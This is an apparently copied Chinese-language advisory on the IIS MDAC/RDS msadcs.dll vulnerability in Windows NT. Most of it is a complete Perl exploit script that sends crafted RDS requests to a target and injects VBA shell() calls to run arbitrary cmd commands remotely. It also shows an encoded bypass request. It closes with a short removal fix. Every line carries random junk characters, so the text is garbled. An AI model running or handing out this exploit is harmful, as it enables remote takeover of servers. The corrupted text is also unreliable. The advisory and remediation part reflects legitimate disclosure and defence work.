IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
UA>3,|gV1 }kJ fTsFS 涉及程序：
E[Xqyp!< Microsoft NT server
E6 g ]EE TJYup%q 描述：
}j+Af["W? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}~I( e 9Hu;CKs 详细：
.[8!
E_ 如果你没有时间读详细内容的话，就删除:
!sknO53`H` c:\Program Files\Common Files\System\Msadc\msadcs.dll
9Wu c1# 有关的安全问题就没有了。
-FOn%7r#Y %fbV\@jDCX 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Zr(4Q 9fDo ]|J QH 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
h.Y&_=Gc 关于利用ODBC远程漏洞的描述，请参看:
8k ( zU>^ }l>\D~:M http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^_4e^D]P" bA_/ 6r)u 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
7`s*
{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z Zs@P#] &nV/XLpG 这里不再论述。
V),wDyi N!PPL"5z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
f: 9b q}vH 8A jQPDn+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
t)kc`3i<A 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
G?M<B~} zAW+!C. Z5j\ M #将下面这段保存为txt文件，然后: "perl -x 文件名"
FNN7[ku! o&t*[# #!perl
J9%I&lu/ #
A _!N,< - # MSADC/RDS 'usage' (aka exploit) script
!+k);;.+ #
sck.2 -f" # by rain.forest.puppy
}ed{8"bj #
dfA2G<Uc # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<(!~s><. # beta test and find errors!
FUP0X2P S.zY0 use Socket; use Getopt::Std;
p
uZY4}b_ getopts("e:vd:h:XR", \%args);
"X( 9.6$_ j].=,M<dxE print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
w61*jnvi@ 2@6Qif xd@ if (!defined $args{h} && !defined $args{R}) {
~eZ]LW]) print qq~
HdR TdV Usage: msadc.pl -h <host> { -d <delay> -X -v }
" C. cU -h <host> = host you want to scan (ip or domain)
+h)1NX;o1 -d <seconds> = delay between calls, default 1 second
dw-o71(1d -X = dump Index Server path table, if available
!DM GAt\ -v = verbose
ri2`M\;gt -e = external dictionary file for step 5
[k]3#<sS 2M>`W5 Or a -R will resume a command session
N I:3hfs b&*)C#7/T ~; exit;}
kXgc'w6EhF =D`:2k~
, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
l`A e&nc6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0m,q3 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q`|rS6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{pXqw'"1. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
z[qi~&7:v if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
e UKl( 'si {6t| if (!defined $args{R}){ $ret = &has_msadc;
#0:rBK m, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[a!)w@ I: xnDst9% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D b*&'32W . "cmd /c ";
IAJ+n0U $in=<STDIN>; chomp $in;
wg4Ol*y' $command="cmd /c " . $in ;
MJA;P7 g 2Z-QVwa*U
if (defined $args{R}) {&load; exit;}
.JBTU>1]_n b"nD5 r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
t xiX1o!/L &try_btcustmr;
0 _N.s5~N VsDY,=Ww print "\nStep 2: Trying to make our own DSN...";
WFTwFm6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.;)V;! SPp|/ [i7 print "\nStep 3: Trying known DSNs...";
Ek60 [a &known_dsn;
" H]R\xp x@@bC=iY$ print "\nStep 4: Trying known .mdbs...";
F#~*j &known_mdb;
Svdmg D! + (Jh $b_ if (defined $args{e}){
<b?$-Rx print "\nStep 5: Trying dictionary of DSN names...";
T_d)1m fl &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-56gg^Pnr DUwms"I,% print "Sorry Charley...maybe next time?\n";
|-HNH U F exit;
- LB} = =y=MljEX ##############################################################################
6m@B.+1 lx7]rkWo|a sub sendraw { # ripped and modded from whisker
B}J0 d sleep($delay); # it's a DoS on the server! At least on mine...
CaVVlL my ($pstr)=@_;
mNsd&Rk' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
HM#|&_gV die("Socket problems\n");
Z)f?X if(connect(S,pack "SnA4x8",2,80,$target)){
r5y*SoD! select(S); $|=1;
,b:~Vpb1I print $pstr; my @in=<S>;
H Qnc`2 select(STDOUT); close(S);
@)wsHW%cjz return @in;
z0%tBgqY( } else { die("Can't connect...\n"); }}
/!N=@z) HBZ6 Pj ##############################################################################
AY;[v.Ff4 |7Q e{ sub make_header { # make the HTTP request
;/ H/ Gn+ my $msadc=<<EOT
F3t IJz>3 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[NV/*>"j& User-Agent: ACTIVEDATA
nTD4^ ' Host: $ip
D G|v' # Content-Length: $clen
qFl|q0\ A Connection: Keep-Alive
E^0a; |B[ j6j4M,UI43 ADCClientVersion:01.06
`2]TPaWGh Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>nvnU`\ $/ $Hi U`. --!ADM!ROX!YOUR!WORLD!
saDu'SmYV Content-Type: application/x-varg
~,Yd.?.TI Content-Length: $reqlen
Xq<_r^ bkz/V/ Y EOT
X<5&R{ oZ ; $msadc=~s/\n/\r\n/g;
drvrj~o: return $msadc;}
d ^zuo m77 !i>V) ##############################################################################
6G }4KGQc RS@[ +! :t sub make_req { # make the RDS request
,gM:s}l!dJ my ($switch, $p1, $p2)=@_;
,6o tm my $req=""; my $t1, $t2, $query, $dsn;
eNO[ikm s%8,'3& if ($switch==1){ # this is the btcustmr.mdb query
fsWIz1 K $query="Select * from Customers where City=" . make_shell();
t<j_` %`8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$=`d[04 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(;H % r & AX{7].)F elsif ($switch==2){ # this is general make table query
sZ7~AJ $query="create table AZZ (B int, C varchar(10))";
)eqF21\ $dsn="$p1";}
_/u(: ~|N,{GaL elsif ($switch==3){ # this is general exploit table query
d+6q% U $query="select * from AZZ where C=" . make_shell();
{wg q>cb $dsn="$p1";}
k+J63+obd _Vf>>tuW elsif ($switch==4){ # attempt to hork file info from index server
TtH!5{$s $query="select path from scope()";
>3~)2)Q $dsn="Provider=MSIDXS;";}
n, LM"N:
EziGkbpd@ elsif ($switch==5){ # bad query
Oi]B %Uxy= $query="select";
t OxH 9 $dsn="$p1";}
rl&.|;5uH; a.RYR q4o $t1= make_unicode($query);
g#Ta03\ $t2= make_unicode($dsn);
&FJr?hY% $req = "\x02\x00\x03\x00";
8R-;cBT $req.= "\x08\x00" . pack ("S1", length($t1));
@,-D
P41g $req.= "\x00\x00" . $t1 ;
r .
(} $req.= "\x08\x00" . pack ("S1", length($t2));
z.?slYe[ $req.= "\x00\x00" . $t2 ;
2;J\Z=7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}' s W[?ik return $req;}
L6;'V5Mg72 *"4l}& ##############################################################################
{`T^ &b k 0IP0z il sub make_shell { # this makes the shell() statement
pd & HC return "'|shell(\"$command\")|'";}
jzZ]+'t DL,]iJm ##############################################################################
X#K;(.},h 9sd}Z,l sub make_unicode { # quick little function to convert to unicode
'
I !/I my ($in)=@_; my $out;
{^^LeUd#V for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
K5\l
(BB return $out;}
e@ $|xa") zK{ } ##############################################################################
9_e_Ne`i`? wu &lG!# sub rdo_success { # checks for RDO return success (this is kludge)
+c,
^KHW my (@in) = @_; my $base=content_start(@in);
Dl AwB1Ak if($in[$base]=~/multipart\/mixed/){
K[
S>EITr return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1<MJ3"60 return 0;}
IiE^HgM Z,81L3#6 ##############################################################################
:nc%:z=O Y6d~hL C sub make_dsn { # this makes a DSN for us
W- nS{v( my @drives=("c","d","e","f");
Sm?|, C3V print "\nMaking DSN: ";
L U`) foreach $drive (@drives) {
W
tHJG5 print "$drive: ";
{;zHkmx my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
`P-d. M6Oa "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
d6 -q" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>;%QW $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>K1e= S Y return 0 if $2 eq "404"; # not found/doesn't exist
a|#pl! if($2 eq "200") {
U5@B7v1 foreach $line (@results) {
s*Z
yr%R return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,Mi'NO } return 0;}
TBba3% |Tkicge S ##############################################################################
d(R8^v/L x!pd50- sub verify_exists {
E<0Mluk my ($page)=@_;
[;F! \B- my @results=sendraw("GET $page HTTP/1.0\n\n");
D!Nc&|X^ return $results[0];}
C=U4z|Ym @,6*yyO ##############################################################################
fb^R3wd$ff T
g3MPa#g sub try_btcustmr {
G v
} my @drives=("c","d","e","f");
PU B0H my @dirs=("winnt","winnt35","winnt351","win","windows");
MBKF8b'k yv>uzb`N foreach $dir (@dirs) {
{)!ua7GF0H print "$dir -> "; # fun status so you can see progress
Nlwt}7 foreach $drive (@drives) {
CWYOzqf print "$drive: "; # ditto
]~f-8!$$R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|Zp')
JiS $reqlenlen=length( "$reqlen" );
FYe fn3b $clen= 206 + $reqlenlen + $reqlen;
}j2t8B^&: \9od*y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
`zl,|}u) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?@`5^7*
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&G\C [L k+je-%hPj ##############################################################################
erTly2-SJ CD^@*jH9" sub odbc_error {
'}(Fj2P79 my (@in)=@_; my $base;
UCFFF% my $base = content_start(@in);
e},:QL0X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?>vkY^/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;<E?NBV^ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HTMo.hr $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~G6xk/+n-m return $in[$base+4].$in[$base+5].$in[$base+6];}
X9^q-3&60 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)
R\";{`M print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"e>9R' y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|gINB3L a_b+RMy ##############################################################################
.i` -t" gS] sub verbose {
=_Z.x&fi my ($in)=@_;
'9<8<d7? return if !$verbose;
ATmyoN2@> print STDOUT "\n$in\n";}
7/Bj WU5* G'nSnw ##############################################################################
7.n\a@I/ Ze[\y(K! sub save {
)2Y]A^ Y my ($p1, $p2, $p3, $p4)=@_;
Cyg(~7] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\]\GDpu[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X;vU z close OUT;}
_ph1( ! H$ /@DJf\`vM ##############################################################################
k<N5*k8M '^_^o)0gp sub load {
u'Hh||La" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N1 vA>(2A open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ZR{YpLFQ @p=<IN>; close(IN);
-h8Z@r~a/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
wW<u)|>ye $target= inet_aton($ip) || die("inet_aton problems");
c N\_1 print "Resuming to $ip ...";
X2Q35.AB $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Z
6][9o if($p[1]==1) {
1$m{)Io2( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ps/|^8aGZ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
yy3`E}vX7 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=i/ r: if (rdo_success(@results)){print "Success!\n";}
Sm|TDH else { print "failed\n"; verbose(odbc_error(@results));}}
.I^Y[ _.G elsif ($p[1]==3){
{q~N$"# if(run_query("$p[3]")){
aan(69=jz print "Success!\n";} else { print "failed\n"; }}
PklJU:Pu\U elsif ($p[1]==4){
~!% G2E! if(run_query($drvst . "$p[3]")){
Uqly|FS &n print "Success!\n"; } else { print "failed\n"; }}
Pt6d5EIG exit;}
: ' pK r& :v( ##############################################################################
B.gEV* @ =xb/zu( sub create_table {
`)BZk[64 my ($in)=@_;
k#p6QA hS $reqlen=length( make_req(2,$in,"") ) - 28;
a% /x $reqlenlen=length( "$reqlen" );
r -uu`=, $clen= 206 + $reqlenlen + $reqlen;
9'ky2
]w my @results=sendraw(make_header() . make_req(2,$in,""));
!!~r1) zN return 1 if rdo_success(@results);
i+I 1h= my $temp= odbc_error(@results); verbose($temp);
v sYbR3O return 1 if $temp=~/Table 'AZZ' already exists/;
)|Ka'\xr return 0;}
;YB k.}
% FJW ,G20L ##############################################################################
T~?&hZ> }5B\: *yW sub known_dsn {
)cm^;(#pV # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
= >GGeEL my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
e8z?) 4T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
z07:E>D] "banner", "banners", "ads", "ADCDemo", "ADCTest");
-"bC[ WN W! * P foreach $dSn (@dsns) {
`t
g=__D print ".";
%V# ? 1{ next if (!is_access("DSN=$dSn"));
DMKtTt[} if(create_table("DSN=$dSn")){
h6 ;zAM} print "$dSn successful\n";
R~RE21kAc if(run_query("DSN=$dSn")){
5hDPX \ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]tmMk7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
7<X!Xok 6ywO L'OBM ##############################################################################
M{YN^
Kk >U]KPL[% sub is_access {
q 'uGB fE. my ($in)=@_;
hF5(1s}e$ $reqlen=length( make_req(5,$in,"") ) - 28;
G P`sOPr $reqlenlen=length( "$reqlen" );
cSmy
M ~[ $clen= 206 + $reqlenlen + $reqlen;
qGP} my @results=sendraw(make_header() . make_req(5,$in,""));
Mh@n>+IR my $temp= odbc_error(@results);
p.x2R,CU verbose($temp); return 1 if ($temp=~/Microsoft Access/);
-N A2+]. return 0;}
*\`<=,H6< "2PT]! ##############################################################################
C8}
;, Z,8t!Y sub run_query {
NT9| ``^Z my ($in)=@_;
?R4%z2rcW $reqlen=length( make_req(3,$in,"") ) - 28;
@\a~5CLN $reqlenlen=length( "$reqlen" );
nL[G@1nR $clen= 206 + $reqlenlen + $reqlen;
t8*NldC my @results=sendraw(make_header() . make_req(3,$in,""));
(?"z!dg c return 1 if rdo_success(@results);
9xFI%UOb# my $temp= odbc_error(@results); verbose($temp);
C3(h j return 0;}
`^h: } V {*K$gH$ ##############################################################################
a TPq1u 4I*'(6
,! sub known_mdb {
+M<W8KF my @drives=("c","d","e","f","g");
6-+ wfrN2 my @dirs=("winnt","winnt35","winnt351","win","windows");
J
:KU~`r my $dir, $drive, $mdb;
Ns5P,[pBOZ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_7dp(R [ * @
+ # this is sparse, because I don't know of many
2HF`}H)H my @sysmdbs=( "\\catroot\\icatalog.mdb",
!t\sg "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)mjGHq 2 "\\system32\\certmdb.mdb",
%OP|%^2 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
> }kZXeR| .bj:tmz my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
zV(aw~CbZ "\\cfusion\\cfapps\\forums\\forums_.mdb",
l r@w 1* "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vJS}_j]_@ "\\cfusion\\cfapps\\security\\realm_.mdb",
w(K|0|t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
po. QM/b
\ "\\cfusion\\database\\cfexamples.mdb",
jB l$r{L "\\cfusion\\database\\cfsnippets.mdb",
\C4 wWh-A "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{SD%{ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
m!=5Q S3Z "\\cfusion\\brighttiger\\database\\cleam.mdb",
^ dE[ ; "\\cfusion\\database\\smpolicy.mdb",
zL'S5'<F| "\\cfusion\\database\cypress.mdb",
[7 0 5[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
$RU K<JN$6 "\\website\\cgi-win\\dbsample.mdb",
+@*>N;$ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X L'\$f "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{dn:1IcN ); #these are just
D0z[h(m foreach $drive (@drives) {
/XU=l0 u foreach $dir (@dirs){
'f CSP| foreach $mdb (@sysmdbs) {
YHMJ5IM@. print ".";
# s7e/GdKb if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
p(K ^Zc print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
B]E c if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
M^>l>?#rl print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
8si{|*;hL } else { print "Something's borked. Use verbose next time\n"; }}}}}
S4-jF D)U ]E'?#z.t foreach $drive (@drives) {
L
4Z+8* foreach $mdb (@mdbs) {
c27(en( print ".";
ck3+A/ !z if(create_table($drv . $drive . $dir . $mdb)){
"S*@._ print "\n" . $drive . $dir . $mdb . " successful\n";
xq=!1> if(run_query($drv . $drive . $dir . $mdb)){
.GL@`7" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`"<hO
'W U } else { print "Something's borked. Use verbose next time\n"; }}}}
`AvK=] }
[IAk9B.\ $)BPt GMGo ##############################################################################
foL4s;2 "?l z[K> sub hork_idx {
{2q0Ko< print "\nAttempting to dump Index Server tables...\n";
`%"x'B`mM print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x%Hx M~& $reqlen=length( make_req(4,"","") ) - 28;
)+=Kh$VbS $reqlenlen=length( "$reqlen" );
,2 +d+Zuh $clen= 206 + $reqlenlen + $reqlen;
|5X59!
JL my @results=sendraw2(make_header() . make_req(4,"",""));
z;Fz3s7 if (rdo_success(@results)){
dqo-.,= my $max=@results; my $c; my %d;
:Ea|FAeK8 for($c=19; $c<$max; $c++){
u86PTp+ $results[$c]=~s/\x00//g;
<>Dw8?O
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<t*<SdAq>` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
(E&M[hH+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
s S#/JLDx] $d{"$1$2"}="";}
/!A"[Tyt foreach $c (keys %d){ print "$c\n"; }
b-#lKW so } else {print "Index server doesn't seem to be installed.\n"; }}
1
A0BM Y4swMN8Bq ##############################################################################
IYXN}M.= \%.oi@A sub dsn_dict {
Sy4 |JM-5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
p@uHzu7 while(<IN>){
MSeg7/ MF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
5U4V _*V next if (!is_access("DSN=$dSn"));
B8n[ E if(create_table("DSN=$dSn")){
Ip=QtNW3\ print "$dSn successful\n";
%"fO^KA.h] if(run_query("DSN=$dSn")){
ls!A'@J print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$C fp1# print "Something's borked. Use verbose next time\n";}}}
(w5cp!qW9J print "\n"; close(IN);}
ID! S}D g\@ .qKF ##############################################################################
ztX$kX:_m /F~/&p1<\k sub sendraw2 { # ripped and modded from whisker
^B} m~qT sleep($delay); # it's a DoS on the server! At least on mine...
Ut;4` >T my ($pstr)=@_;
JoiGuZd> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
svl!"tMXl die("Socket problems\n");
K<`Z@f3'w if(connect(S,pack "SnA4x8",2,80,$target)){
q oi21mCn print "Connected. Getting data";
t&q~ya/C open(OUT,">raw.out"); my @in;
~n%L o3RiP select(S); $|=1; print $pstr;
LD5`9- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?Z?(ky! close(OUT); select(STDOUT); close(S); return @in;
$ B&Zn Z? } else { die("Can't connect...\n"); }}
RtHai[j ~M} K]Li ##############################################################################
(PGw{ _ nQ+5jGP1 sub content_start { # this will take in the server headers
k_wcol,W my (@in)=@_; my $c;
jK*d for ($c=1;$c<500;$c++) {
Q>Z~={" if($in[$c] =~/^\x0d\x0a/){
M."/"hV`- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Y)pop :y t else { return $c+1; }}}
)lS 04|s return -1;} # it should never get here actually
?#(LH\$l_ Q8m%mJz~] ##############################################################################
2-8Dc4H]r $6wSqH?q sub funky {
tJ >>cF x my (@in)=@_; my $error=odbc_error(@in);
%,02i@Fc if($error=~/ADO could not find the specified provider/){
w->Y92q] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"49dsKIOH exit;}
5!qf{4j if($error=~/A Handler is required/){
z`E =V print "\nServer has custom handler filters (they most likely are patched)\n";
XL.f `N .O exit;}
Um4zI> if($error=~/specified Handler has denied Access/){
.qZz 'Eq[ print "\nServer has custom handler filters (they most likely are patched)\n";
-# T%* exit;}}
zs
I?X>4 f*Q9 u >1p ##############################################################################
!JrKTB% 8Z9>h:c1 sub has_msadc {
a_5s' Dh my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
t7x<=rW7u my $base=content_start(@results);
L@AFt )U return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
$RY GAh return 0;}
{zm8` H2:
Zda# ########################
AJ*17w 16 `M=R T{+a48,; 解决方案：
w$f_z*/ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|*g#7 YL 2、移除web 目录: /msadc
